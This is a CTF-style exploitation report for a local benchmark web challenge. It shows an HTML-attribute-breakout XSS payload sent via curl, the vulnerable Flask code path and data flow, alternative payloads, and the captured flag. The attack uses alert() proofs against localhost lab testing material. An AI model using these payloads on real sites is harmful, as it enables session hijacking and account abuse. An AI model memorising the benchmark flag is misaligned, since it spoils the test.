# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS via HTML Attribute Injection in /page Endpoint

**Summary:**
- **Vulnerable location:** `POST http://localhost:38177/page` (parameter: `solution`)
- **Overview:** The application accepts user input via the `solution` POST parameter and directly embeds it into an HTML attribute using Python string formatting without any sanitization or encoding. An attacker can break out of the attribute context and inject malicious JavaScript event handlers that execute automatically.
- **Impact:** Complete compromise of the CTF challenge - successful XSS exploitation triggers PhantomJS validation which returns the flag. In a real-world scenario, this would allow session hijacking, credential theft, and arbitrary actions on behalf of users.
- **Severity:** Critical

**Prerequisites:**
- Network access to http://localhost:38177
- No authentication required (all endpoints are public)

**Exploitation Steps:**

1. **Navigate to the challenge page:**
   ```bash
   curl http://localhost:38177/page
   ```
   This displays the initial challenge form with an empty input field.

2. **Submit the XSS payload via POST request:**
   ```bash
   curl -X POST http://localhost:38177/page \
     --data-urlencode 'solution=" autofocus onfocus=alert('\''XSS'\'') x="'
   ```
   
   **Payload breakdown:**
   - `"` - Closes the `value` attribute that wraps user input
   - `autofocus` - HTML attribute that automatically focuses the input element on page load
   - `onfocus=alert('XSS')` - JavaScript event handler that executes when the element receives focus
   - `x="` - Opens a new dummy attribute to consume the trailing quote from the original template
   
   **Rendered HTML (vulnerable sink):**
   ```html
   <input type=text name=solution placeholder="Enter solution..." value="" autofocus onfocus=alert('XSS') x="">
   ```

3. **Observe the server response containing the flag:**
   The server processes the payload through PhantomJS, which detects the JavaScript execution via the `alert()` dialog and returns:
   ```html
   <div class="solution-text">
     <img src="static/img/cookies/success_circle.png" alt="Correct" width="150" height="150">
     <br>Congratulations!
     <p> Here is the flag: FLAG{fa63829a3da42cd10741d2b998d7dc5d0ef68ebc49bca71f4d6d8610197e4e3a}
   </div>
   ```

**Proof of Impact:**

**Flag Successfully Extracted:** `FLAG{fa63829a3da42cd10741d2b998d7dc5d0ef68ebc49bca71f4d6d8610197e4e3a}`

The XSS payload successfully:
1. Executed JavaScript in the browser context (both in the user's browser via reflected XSS and in PhantomJS for validation)
2. Triggered the application's XSS detection mechanism (PhantomJS dialog listener)
3. Retrieved the CTF flag without any authentication

**Alternative Payloads (all confirmed working):**
```bash
# Basic attribute breakout with autofocus
solution=" autofocus onfocus=alert('XSS') x="

# Using onerror event handler (also works)
solution=" onerror=alert('XSS') src=x x="

# Simplified version
solution=" onfocus=alert('XSS') autofocus="
```

**Technical Details:**

**Vulnerable Code Path:**
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-064-24/src/app.py`
- Line 66: `msg = request.form.get('solution','')` - User input acquired without validation
- Line 67: `value = "" if msg == "" else 'value="{0}"'.format(msg)` - Direct string formatting (NO HTML ENCODING)
- Line 69: `data = CONTENT_POST.format("9", "Circle", value, "", "")` - Payload embedded into complete HTML document
- Line 71: Return response with injected payload

**Why This Works:**
- No input validation (any characters accepted)
- No output encoding (quotes not converted to `&quot;`)
- No Content Security Policy (inline event handlers execute freely)
- Automatic execution via `autofocus` attribute (no user interaction required)

**Notes:**
The payload must trigger a JavaScript dialog function (`alert()`, `confirm()`, or `prompt()`) that PhantomJS can detect. The PhantomJS validation script (`check.js`) hooks these functions at lines 8-18 and outputs "XSS" to stdout when detected, which triggers the flag disclosure mechanism in the Flask application.

---

### XSS-VULN-02: Stored XSS via PhantomJS Validation and Temporary File Write

**Summary:**
- **Vulnerable location:** `POST http://localhost:38177/page` (parameter: `solution`)
- **Overview:** This is the same injection point as XSS-VULN-01, but demonstrates stored XSS characteristics. The user payload is embedded into a complete HTML document which is written to a temporary file in the web-accessible `/static/` directory. PhantomJS then loads and renders this file, executing the JavaScript payload. Upon successful XSS detection, the application returns the CTF flag.
- **Impact:** Identical to VULN-01 with additional file system interaction - successful exploitation returns the flag. The temporary file storage creates a brief window where the payload exists on disk and could be accessed by other users if the random filename is discovered.
- **Severity:** Critical

**Prerequisites:**
- Network access to http://localhost:38177
- No authentication required (all endpoints are public)

**Exploitation Steps:**

This vulnerability uses the identical exploitation technique as XSS-VULN-01. The difference is in the server-side processing:

1. **Submit the XSS payload:**
   ```bash
   curl -s -X POST http://localhost:38177/page \
     --data-urlencode 'solution=" autofocus onfocus=alert('\''XSS'\'') x="'
   ```

2. **Server-side processing flow:**
   - Line 66 (`app.py`): User input captured from POST parameter
   - Line 67 (`app.py`): Payload formatted into HTML attribute (no sanitization)
   - Line 69 (`app.py`): Complete HTML document created with user payload
   - Line 35 (`app.py`): Random filename generated: `static/<32-char-hex>.html`
   - Lines 38-40 (`app.py`): **HTML document written to disk** (stored XSS)
   - Line 43 (`app.py`): URL passed to PhantomJS: `http://localhost:5000/static/<random>.html`
   - PhantomJS loads the file and executes the JavaScript payload
   - Line 50 (`app.py`): Temporary file deleted after validation
   - Line 56 (`app.py`): Flag returned upon successful XSS detection

3. **Observe flag in response:**
   ```
   FLAG{fa63829a3da42cd10741d2b998d7dc5d0ef68ebc49bca71f4d6d8610197e4e3a}
   ```

**Proof of Impact:**

**Flag Successfully Extracted:** `FLAG{fa63829a3da42cd10741d2b998d7dc5d0ef68ebc49bca71f4d6d8610197e4e3a}`

The stored XSS nature of this vulnerability means:
1. User payload is **written to the file system** in the `/static/` directory
2. The file is briefly **web-accessible** at `http://localhost:38177/static/<random>.html`
3. PhantomJS loads the file as a complete HTML document (stored XSS sink)
4. JavaScript executes in PhantomJS browser context
5. Flag disclosure triggered upon XSS detection

**Race Condition Risk:**
While the filename uses 128-bit cryptographic randomness (`os.urandom(16)`), there is a race condition window between:
- File creation (line 39-40): HTML written to disk
- File deletion (line 50): `os.unlink(fn)` removes the file

If an attacker could discover or predict the filename during this window, they could:
- Access the stored XSS payload at `http://localhost:38177/static/<filename>.html`
- Cause the payload to execute in other users' browsers
- Create persistent XSS beyond the temporary PhantomJS validation

**Technical Details:**

**Complete Data Flow:**
```
POST /page with solution=" autofocus onfocus=alert('XSS') x="
  ↓
Line 66: msg = request.form.get('solution','')
  ↓
Line 67: value = 'value="{0}"'.format(msg)  [NO SANITIZATION]
  ↓
Line 69: data = CONTENT_POST.format("9", "Circle", value, "", "")
  ↓
Line 70: check_solution(data, flags[0], msg, 'challenge_easy')
  ↓
Line 35: fn = "static/" + os.urandom(16).encode('hex') + '.html'
  ↓
Lines 38-40: open(fn, 'w').write(page)  [STORED XSS - FILE WRITE]
  ↓
Line 34: proc = subprocess.Popen(["timeout","5","phantomjs", "check.js"], ...)
  ↓
Line 43: proc.stdin.write(url)  [URL: http://localhost:5000/static/<random>.html]
  ↓
PhantomJS: page.open(url) loads file and executes JavaScript
  ↓
PhantomJS: alert('XSS') triggers dialog listener (check.js lines 8-18)
  ↓
PhantomJS: console.log("XSS") outputs to stdout
  ↓
Line 47: result = proc.stdout.readline().strip()
  ↓
Line 50: os.unlink(fn)  [File deleted]
  ↓
Line 56: Flag returned in HTTP response
```

**Why This Is Stored XSS:**
- Payload is **persisted to disk** (not just reflected in HTTP response)
- File exists in **web-accessible directory** (`/static/`)
- File is **rendered by a browser** (PhantomJS)
- Cleanup happens **after execution** (brief persistence window)

**Notes:**
This vulnerability demonstrates that the same injection point can manifest as both reflected XSS (VULN-01) and stored XSS (VULN-02) depending on the attack perspective. From the attacker's viewpoint exploiting the challenge, both are identical. From a security analysis perspective, the stored XSS characteristics (file write + potential race condition access) make this a distinct finding worth documenting separately.

---

## Summary

Both XSS vulnerabilities were successfully exploited to retrieve the CTF flag:
- **XSS-VULN-01**: Reflected XSS via HTML attribute injection
- **XSS-VULN-02**: Stored XSS via temporary file write and PhantomJS rendering

**Flag Captured:** `FLAG{fa63829a3da42cd10741d2b998d7dc5d0ef68ebc49bca71f4d6d8610197e4e3a}`

**Root Cause:** Complete absence of input validation and output encoding in the `/page` endpoint. User input flows directly from POST parameters into HTML attributes using Python string formatting without any sanitization.

**Affected Endpoint:** `POST http://localhost:38177/page`

**Successful Payload:** `" autofocus onfocus=alert('XSS') x="`

**Attack Requirements:**
- No authentication needed
- No special tools required (curl sufficient)
- No user interaction needed (autofocus triggers automatically)
- Works reliably with basic attribute breakout techniques